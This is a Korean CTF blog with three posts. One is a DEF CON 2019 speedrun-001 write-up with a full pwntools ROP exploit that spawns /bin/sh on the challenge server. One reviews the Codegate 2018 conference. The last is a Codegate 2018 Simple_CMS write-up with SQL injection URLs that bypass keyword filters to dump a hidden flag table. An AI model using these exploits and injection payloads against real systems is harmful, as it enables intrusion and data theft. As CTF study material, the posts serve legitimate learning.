2019년 데프콘 CTF 스피드런 문제를 리뷰 해보도록 하겠습니다. 우선 우리는 문제를 실행시켜 보겠습니다.

이렇게 실행되어지는 문제이고 이것을 분석하기 위하여 IDA를 사용하여 열어보면 굉장히 큰 바이너리로 이루어 진 것을 알 수 있습니다.

하지만 우리는 실행시켰을 때 알아낸 문자열을 통하여 실행 부분을 찾을수 있습니다.

이렇게 찾게되고 그것의 main함수 까지 알아 냅니다.

이때 우리는 buf의 크기보다 더 많은 양을 넣을 수 있는 read 함수를 찾을 수 있습니다. 따라서 우리는 overflow가 된다는 것을 알 수 있습니다. 우선 우리는 보호기법을 체크해줍니다.

그러면 PIE가 걸려있지 않기 때문에 IDA에서 본 주소와 동일하게 사용가능한 것을 알 수 있습니다.

 

그렇기에 우리는 read 양만큼의 A 문자를 넣어보면 무리 없이 들어간 다는 것을 알 수 있습니다. 따라서 우리는 SROP를 통한 익스 플로잇 코드를 작성해야 한다는 것을 알 수 있습니다.

 

그렇기에 우리는 rop 명령어를 통한 가젯들을 수집합니다. (pop rdi, pop rsi, pop rdx, pop rax, syscall) 그리고 우리는 처음 /bin/sh 문자열을 넣을 위치를 정하여야 합니다.

따라서 elfheader 명령어를 통한 bss 영역의 주소를 알아낼 수 있습니다. 그 후 우리는 bss영역에 read함수를 이용하여 /bin/sh 문자열을 대입하고 execve 함수를 통하여 /bin/sh 를 실행하는 코드를 작성합니다.

 

from pwn import *

p = remote("speedrun-001.quals2019.oooverflow.io", 31337)

def dd(payload):
	p.recvuntil('Any last words?')
	p.sendline(payload)

syscall = 0x474e65
pop_rax = 0x415664
pop_rdi = 0x400686
pop_rsi = 0x4101f3
pop_rdx = 0x4498b5
main_addr = 0x400BC1

bss = 0x006bc000-0x100


payload = 'A'*0x400
payload += p64(bss - 0x100)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi) + p64(bss)
payload += p64(pop_rdx) + p64(8)
payload += p64(pop_rax) + p64(0)
payload += p64(syscall)
payload += p64(main_addr)

dd(payload)

p.send('/bin/sh\x00')


payload = 'A' * 0x400
payload += p64(0xdeadbeef)
payload += p64(pop_rdi) + p64(bss)
payload += p64(pop_rsi)+ p64(0)
payload += p64(pop_rdx) + p64(0)
payload += p64(pop_rax) + p64(59)
payload += p64(syscall)
payload += p64(main_addr)

dd(payload)
p.recvuntil("A"*0x400)
p.sendline("/bin/sh;")
p.sendline("cat flag")

p.interactive()

 

작성한 코드를 실행시킨다면 우리는 flag를 획득할 수 있습니다.

'CTF > CTF 문제들' 카테고리의 다른 글

Defcon2019 Speedrun-001 write-up  (0) 2019.05.18
코드게이트2018 후기  (0) 2018.04.09
Codegate 2018 Simple_CMS[Web]  (0) 2018.02.06


코드게이트 2018에 참가하고 왔습니다.

다양한 체험 부스와 인기에 힘입어 굉장히 많은 사람들이 보러 와 주셨습니다.

다양한 기업홍보부스도 많았고 다양한 해킹부스도 많았는데요.

아쉽게도 3부스 정도를 제외하면 자신의 노트북을 들고와야 참여가 가능한 부스가 대부분이었다는 점이 참 아쉬웠습니다.

그 점을 제가 못본건지 공지가 안된 건지는 잘 모르겠지만 저는 안들고가서 참으로 아쉬웠습니다.


우선 오전에는 코드게이트 대회의 주니어, 대학부, 일반부의 시상식이 있었는데요.

제가 대학부 예선에서 탈락해서 무척이나 멋져 보였습니다.

그밖에도 어린이들이 만든 미니 자동차 대회도 같이 존재했습니다.




그리고 오후에는 다양한 교육이 진행되었는데요.

다들 이 교육을 들어보고자 온 경우가 많았을 것 입니다.

세션은 4개로 진행되었고

첫째는 BOB세션으로 처음은 BOB에 관한 설명과 BOB수료생들의 발표를 볼 수 있었습니다.




다음으로 세션2는 주니어를 위해서 다양한 학생들의 강의를 들을 수 있었습니다.



그리고 세션 3과 4는 기술파트로 다양한 공격이나 보안에 관한 내용으로 발표를 이루었는데요.

저는 세션3을 들었습니다.

이유는 외국 CTO분께서 오셔서 영어로 강의도 해주시고

또한 다양한 공격과 보안에 관한 미래의 내용을 발표해 주셨습니다.

또한 영어로 진행되는 발표같은 경우는 동시 통역을 해주는 장비를 개개인에게 대여해 주었기 때문에

무리없이 누구나 들을 수 있게 진행되었습니다.



끝으로 많은 기대를 안고 참여한 코드게이트에서 해킹에 관한 관심이 얼마나 많은지, 또한 많은 실무에서 근무하시는 보안관계자들과 대화를 

할 수 있었다는 점에서 굉장히 좋았지만,

해킹입문자, 또는 해킹을 구경하고 싶은 사람들이 참여할 수 있는 부스는 없었다는 점이 참 아쉬웠습니다.

만약 그런부분만 더 보완해 주신다면 더 유명해 질 것 같다는 생각을 하게 되는 컨퍼런스 였던것 같습니다.


끝으로 만약 가신다면 노트북은 들고 가시는게 좋을 것 같습니다.

이상 2018CODEGATE 였습니다.


'CTF > CTF 문제들' 카테고리의 다른 글

Defcon2019 Speedrun-001 write-up  (0) 2019.05.18
코드게이트2018 후기  (0) 2018.04.09
Codegate 2018 Simple_CMS[Web]  (0) 2018.02.06

2018 코드게이트 대학부 예선전을 치뤘다.

웹쪽을 공부해 왔기때문에 web 파트는 내가 풀었지만

simple_cms 한문제를 16시간 보고도

풀지 못했다.....

하지만 이 simple_cms문제는 총 6팀만 푼 문제로 

상당히 난이도가 있었기 때문에 review를 해본다.

우선 첫 화면은 로그인 페이지 이다.

그리고 

click me if you don't have a count를 누르면


회원 가입 화면이 나온다.

여기서 가입을 하고 난 후에

board로 들어가 보면

이렇게 write를 눌러서 사람들이 쓰는 글들이 

계속해서 업데이트 된다.

실시간으로


코드게이트는 소스를 주기 떄문에 조금 더 나을 수 있지만

이번 Simple_CMS는 굉장히 많은 소스코드를 가지고 

문제를 풀어나가야 하기때문에

취약점을 찾는 것 부터가 매우 어려웠다.

아마 취약점을 잡는 것이 이 문제의 핵심이라고

말할수 있을 것 같다.



우선 simple_cms.sql 파일에서

우리는 무엇을 찾아야 하는지를 알 수 있다.

db가 만들어 질 때에

board 와 flag 테이블이 만들어 지는데

이때 board와 flag테이블은 앞에 {table_prefix}라는 문장을 앞에 붙이게 된다.

그리고 flag의 values에

{blind_column}이라는 알 수 없는 문자열이 앞에 붙는다.

아마 우리는 {table_prefix}를 찾아야 할 것 같다.



우선 입력창에는 항상

filter_str의 필터링이 있다.

or, and, information, schema, procedure analyse, order, by, group, into 가 필터링이 되어있다.

그러니 거의 injection코드는 다 필터링이 되어있는 셈이다.

이때부터 조금 위축 되었던 것 같다.



나는 소스코드만 한참 뒤지다가

board.class.php의

action_search의 소스코드에서

col에 유난히 많은 필터링이 있는 것을 보고

한번 코드를 파보았다.


우선 

$query = get_search_query($column,$search,$operator)와

$result = DB::fetch_multi_row('board','','','0,10','date desc',$query)

에 대하여 알아보기 위해서


lib.php에서

소스를 보니

$column에는 다중으로 파라미터 삽입이 가능하다.

구분은 | 연산자로 해준다고 되어 있다.

그리고 

LOWER({column[$i]}) like '%{search}%'{operator}"에 변수로 들어가는데

이때 operator는 or 나 and 인데

$type변수에 1이면 or 2이면 and라고 다른 소스에 적혀있다.

그리고 column이 여러개 이면

operator로 연달에 $result문에 붙게 된다.

여기서 나는 여기가 취약점이라는 생각을 확실시 하게 된다.





그리고 DB.class.php에서 

fetch_multi_row함수를 찾을 수 있었다.

fetch_multi_row함수는 get_search_query에서 파라미터 $query를 받고

여기서 우리가 찾고자 하는 난독화된 board명을 만든다.

그리고 우리가 받았던 $query를 foreach문으로

$key값과 $value값으로 만든다.

그리고 {$key}='{$value}'{operator}로 만들어 진다.

그리고 다 만들어 지면

쿼리문을 실행시키는 구조인 것 같다.




우선 search키를 누르면 주소창에 get방식으로 

?act=board&mid=search&col=title&type=1&search=으로 뜬다.

우리는 search와 col에 들어갈 파라미터를 적절히 고쳐야 할 것이다.

여기까지에서 나는 막혔다.

그리고 여러 write up을 보고 공부해보니

우선 title 뒤에 %23(#) 주석을 달아줘야 했다.

물론 이 방법은 시도 해 보았었다.

이렇게 나온다.


그러면 우리는 

?act=board%mid=search&col=title%23&type=1&search=1%0a)%3c0%20union%20select%201,

(select%20table_name%20from%20mysql.innodb_table_Stats%20limit%202,1),3,4,5%23

의 쿼리문을 넣어주면 


이렇게 flag앞에 붙은 table_prefix를 알 수 있다.

우선 나는 table_name을 쓰는 것은 알 수 있었지만

%0a로 우회 가능한 점은 당연히 안될 줄 알았었다.

하지만 %23이 한줄 주석이라는 점을 이용해 %0a로 열을 바꾸어 주어

주석을 피하고 난 후에

union select로 injection을 해주는 방법은 보고나서 아~ 하는 소리를 내기에 충분했다.


그리고 나는 이후에 왜 이렇게 상세하게 테이블의 갯수를 가르쳐 준지 알게되었다.

order by를 막아놓았기 때문에 union select 문을 쓰려면 컬럼의 갯수를 정확히 알아야 한다.

그래서 이렇게 컬럼의 갯수를 준게 아닐까 생각된다.

이후에는 table명을 알았으니

일사 천리로

?act=board&mid=seach&col=title%23&type=1&search=test%0a<0%20union%20(select%201,t.*%20from%20mysql.user%20join%2041786c497656426a6149_flag%20t)%23

문을 넣으면

우리는 flag를 얻을 수 있다.

우선 쿼리문을 분석하자면

flag와 (1,t.*)을 join해서 그 문장을 union select문으로 injection한다.

t.*는 flag문을 t로 지칭해주는 뒷부분으로 flag의 컬럼을 다 사용하는데 이때

컬럼의 갯수가 board의 컬럼갯수보다 하나 부족하기 때문에

앞에 1을 하나 붙여준다.



참조:https://ctftime.org/writeup/8619


'CTF > CTF 문제들' 카테고리의 다른 글

Defcon2019 Speedrun-001 write-up  (0) 2019.05.18
코드게이트2018 후기  (0) 2018.04.09
Codegate 2018 Simple_CMS[Web]  (0) 2018.02.06

+ Recent posts